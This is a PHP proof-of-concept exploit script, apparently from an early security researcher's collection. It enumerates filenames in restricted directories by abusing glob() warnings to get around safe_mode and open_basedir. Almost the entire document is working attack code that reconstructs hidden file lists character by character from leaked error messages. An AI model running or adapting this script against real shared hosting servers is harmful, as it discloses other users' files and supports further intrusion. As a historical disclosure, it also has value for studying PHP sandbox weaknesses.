<?php
/*
 * Filename walker - retrieve partial file list for external directory
 * under safe_mode- and open_basedir-restriction, utilizing glob() warning
 *
 * Progress: Match first file (eg. apache), check apache?*,
 * Walk all way backwards using square brackets
 * (e.g. apache => apach[f-z], apac[i-z], apa[d-z], ap[b-z], a[q-z], [b-z])
 *
 * Lots and lots of files appearently result in Apache segfault
 *
 * Todo: Check for match/* as well to check for files in subdirectories
 *       Cleanup code - this is one ugly mess!
 *
 * Version: 1.14b
 * - Peter Brodersen - http://pe.ter.dk/ - php@ter.dk
 *
 * More examples of PHP exploits: http://stock.ter.dk/session.php
 *
 */
header("Content-type: text/plain");

$path "/tmp/faketmp/";
$max_iterations 2000;
$debug = (isset($_REQUEST['debug']));
$all_strings " %&,-.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz";

$iterations 0;
$result = array();
$string "";

function 
check_further($path$file, &$result) {
    global 
$debug;
    
    if (
$debug) print "Testing further: $file?*\n";
    
ob_start();
    
glob($path.$file."?*");
    
$capture ob_get_contents();
    
ob_end_clean();
    if (
preg_match('/is not allowed to access (.*?) owned by/',$capture,$regs)) { // we got a match - and a warning
        
if ($debug) print "Found: $regs[1]\n";
        
$result[] = $regs[1];
        
$newfile basename($regs[1]);
        return 
check_further($path$newfile$result);
    } else {
        return 
$file;
    }
}

function 
check_pattern($path$file$strings$result) {
    global 
$debug;
    global 
$iterations;
    global 
$max_iterations;
    global 
$all_strings;

    
$iterations++;
    if (
$iterations $max_iterations) {
        print(
"Max iterations reached");
        return 
$result;
    }

    
$globstring $path.$file."[".str_replace('-','\-',$strings)."]*";
    if (
$debug) print "Testing: $globstring\n";
    
ob_start();
    
glob($globstring);
    
$capture ob_get_contents();
    
ob_end_clean();
    if (
preg_match('/is not allowed to access (.*?) owned by/',$capture,$regs)) { // we got a match - and a warning
        
if ($debug) print "Found: $regs[1]\n";
        
$result[] = $regs[1];
        
$file basename($regs[1]);
        
$file check_further($path$file$result);
        if (
substr($file,-1) != "z" && strpos($all_stringssubstr($file,-2,1)) !== FALSE ) {
            
$partfile substr($file,-1)+1;
            
$offset strpos($all_stringssubstr($file,-1))+1;
            return 
check_pattern($pathsubstr($file,0,-1), substr($all_strings,strpos($all_stringssubstr($file,-1))+1), $result);
        } else {
            return 
check_pattern($pathsubstr($file,0,-1), substr($all_strings,strpos($all_stringssubstr($file,-1))+1), $result);
        }
    } else {
        if (
$result && $file === "") {
            
// end of test
            
return $result;
        }
        return 
check_pattern($pathsubstr($file,0,-1), substr($all_strings,strpos($all_stringssubstr($file,-1))+1), $result);
    }
}

$result check_pattern($path$string$all_strings$result);

// display result
print "open_basedir: ".(bool)ini_get('open_basedir')."\n";
print 
"safe_mode: ".ini_get('safe_mode')."\n\n";
print 
"Matches: ".count($result)." - iterations: $iterations\n\n";
print 
join("\n",$result);

?>